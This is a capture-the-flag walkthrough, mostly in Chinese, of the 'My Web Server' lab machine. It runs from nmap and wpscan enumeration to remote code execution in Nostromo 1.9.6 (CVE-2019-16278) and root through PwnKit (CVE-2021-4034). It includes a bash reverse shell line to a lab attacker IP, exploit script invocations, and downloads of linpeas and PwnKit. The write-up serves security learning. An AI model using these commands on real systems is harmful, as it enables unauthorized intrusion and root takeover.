Vasabi12311/CTF-Walkthrough-MyWebServer-Medium
GitHub: Vasabi12311/CTF-Walkthrough-MyWebServer-Medium
一份针对「My Web Server」靶场的详细渗透测试报告,展示了从服务枚举到远程代码执行(CVE-2019-16278)及本地提权(CVE-2021-4034)的完整攻击链。
Stars: 0 | Forks: 0
# 🚩 CTF 演练:MyWebServer(中等)
针对 **My Web Server** 机器的详细渗透测试报告。本演练涵盖了全面的枚举、Web 漏洞利用以及初始访问向量。
## 🔍 阶段 1:枚举
### 1.1 主机发现
第一步涉及识别局域网内目标机器的 IP 地址。
```
# 识别活动主机
nmap -sn 192.168.0.1/24
```
### 1.2 服务扫描
进行了一次完整的 TCP 端口扫描,以确定服务版本并发现潜在的入口点。
```
# 使用默认脚本和版本检测进行全端口扫描
nmap -p- -sC -sV 192.168.0.102
```
| 端口 | 服务 | 版本 | 观察 |
| --- | --- | --- | --- |
| **22** | SSH | OpenSSH 7.9p1 | 标准远程访问。 |
| **80** | HTTP | Apache 2.4.38 | `robots.txt` 包含 `/wp-admin/`。 |
| **2222** | HTTP | **Nostromo 1.9.6** | 罕见的服务器。潜在的 RCE 候选目标。 |
| **3306** | MySQL | MySQL | 数据库服务。 |
| **8009** | AJP13 | Apache Jserv | Tomcat 连接器。可能是 Ghostcat 漏洞的目标。 |
| **8080** | HTTP | Tomcat 8.0.33 | Web 管理面板。 |
| **8081** | HTTP | Nginx 1.14.2 | 可能托管静态网站。 |
## ⚡ 阶段 2:漏洞分析
在扫描分析之后,识别出了以下高优先级的攻击向量:
1. **端口 2222 (Nostromo 1.9.6):**
* **漏洞:** **CVE-2019-16278**(目录遍历导致 RCE)。
* **优先级:** 🔥 **严重**。直接获取 Reverse Shell 的途径。
2. **端口 8009 (AJP13):**
* **漏洞:** 疑似 **Ghostcat (CVE-2020-1938)**。
* **优先级:** 高。允许任意文件读取(例如,`WEB-INF/web.xml`)。
3. **端口 80 (WordPress / armour.local):**
* **操作:** 需要在 `/etc/hosts` 中将 `armour.local` 映射到目标 IP 才能正常渲染。
## 🌐 阶段 3:Web 枚举 (端口 80)
### 3.1 WordPress 扫描
对 WordPress 实例进行了主动扫描,以揭示隐藏的细节。
```
wpscan --url http://www.armour.local/ \
--enumerate vp,vt,u \
--plugins-detection aggressive \
--random-user-agent \
--ignore-main-redirect
```
**主要发现:**
* **WP 版本:** 5.3.2(已过时)。
* **主题:** `rife-free` v2.4.7。
* **目录列表:** 在 `/wp-content/uploads/` 上已启用(信息泄露)。
* **发现用户:** 成功枚举出用户名:`ap20dsero039`。
### 3.2 结果分析
虽然 WPScan 确认该站点使用了过时的组件,但没有发现直接可利用的严重插件漏洞。然而,发现的用户名 `ap20dsero039` 是一个关键的支点,可用于:
* 密码暴力破解。
* SSH 登录尝试(检查凭证重用)。
* 在后续漏洞利用阶段针对特定的用户目录进行攻击。
## 🚀 阶段 3:漏洞利用 (端口 2222)
### 漏洞研究
根据初始扫描,**Nostromo 1.9.6** Web 服务器被标记为高优先级目标。我使用 `searchsploit` 查找公开可用的漏洞利用程序。
```
searchsploit nostromo 1.9.6
Exploit Identified:
Title: nostromo 1.9.6 - Remote Code Execution
Path: multiple/remote/47837.py
CVE: CVE-2019-16278
Preparing the Exploit
I mirrored the exploit to my local working directory for analysis and execution:
Bash
searchsploit -m multiple/remote/47837.py
The script targets a path traversal vulnerability in the nhttpd server, allowing for unauthenticated Remote Code Execution (RCE) by sending specially crafted HTTP requests.
### 执行 Exploit
After verifying the script requirements (Python 2), I tested the Remote Code Execution (RCE) by executing the `id` command.
```bash
python2 47837.py 192.168.0.102 2222 id
Response:
Plaintext
uid=1(daemon) gid=1(daemon) groups=1(daemon),0(root)
Establishing a Reverse Shell
To gain a more stable and interactive environment, I initiated a reverse shell.
Setting up the listener:
On my local machine (Kali), I started a netcat listener on port 4444:
Bash
nc -lvnp 4444
2. **Triggering the shell:**
Using a bash reverse shell payload from `revshells.com`, I executed the following via the exploit:
```bash
python2 47837.py 192.168.0.102 2222 "bash -c 'bash -i >& /dev/tcp/192.168.0.183/4444 0>&1'"
Success:
I received a connection back and obtained a shell as the daemon user.
Bash
Connection received on 192.168.0.102 37108
daemon@webserver:/usr/bin$
## 🛡️ 阶段 4:权限提升
### 系统 Enumeration
After gaining a foothold, I performed local enumeration to find a path to root. Since manual enumeration didn't immediately reveal unique misconfigurations or flags, I opted for an automated script to speed up the process.
1. **Transferring LinPEAS:**
On my local machine, I hosted the script using a Python HTTP server:
```bash
python3 -m http.server 8000
On the target machine, I downloaded it to the /tmp directory (the only writable partition):
Bash
cd /tmp
wget [http://192.168.0.183:8000/linpeas.sh](http://192.168.0.183:8000/linpeas.sh)
chmod +x linpeas.sh
./linpeas.sh
Identifying Vulnerabilities
The LinPEAS output highlighted several critical kernel and service vulnerabilities. The most promising was PwnKit (CVE-2021-4034), a local privilege escalation vulnerability in Polkit's pkexec.
Vulnerability Details:
CVE: 2021-4034 (PwnKit)
Exposure: Highly Probable
Target: Sudo version 1.8.27 / Polkit
Exploitation (Path to Root)
I decided to use the PwnKit exploit due to its reliability and high success rate on Debian-based systems.
Download and Extract:
Bash
wget [https://codeload.github.com/berdav/CVE-2021-4034/zip/main](https://codeload.github.com/berdav/CVE-2021-4034/zip/main) -O pwnkit.zip
unzip pwnkit.zip
cd CVE-2021-4034-main
Execution:
I used the provided shell script wrapper which automates the compilation and execution process.
Bash
chmod +x cve-2021-4034.sh
./cve-2021-4034.sh
Final Result:
Bash
# id
uid=0(root) gid=0(root) groups=0(root)
## 🏁 结论
The compromise of the **My Web Server** machine was achieved through:
1. **Initial Access:** Exploiting an RCE vulnerability in the legacy Nostromo 1.9.6 web server (CVE-2019-16278).
2. **Privilege Escalation:** Utilizing the PwnKit (CVE-2021-4034) vulnerability to escalate from the `daemon` user to `root`.
This lab demonstrates the danger of running outdated web services and the critical importance of patching core system utilities like Polkit.
```
标签:Apache Tomcat, CTF解题报告, CTI, CVE-2019-16278, CVE-2020-1938, Ghostcat, My Web Server, Nmap, Nostromo, Offensive Security, RCE, Reverse Shell, URL短链接分析, Web安全, Writeup, 中级难度, 协议分析, 应用安全, 插件系统, 数据展示, 数据统计, 服务探测, 权限提升, 渗透测试报告, 漏洞分析, 端口扫描, 红队, 编程工具, 网络安全, 蓝队分析, 虚拟驱动器, 路径探测, 远程代码执行, 逆向Shell, 逆向工具, 隐私保护, 靶机攻略, 黑客技术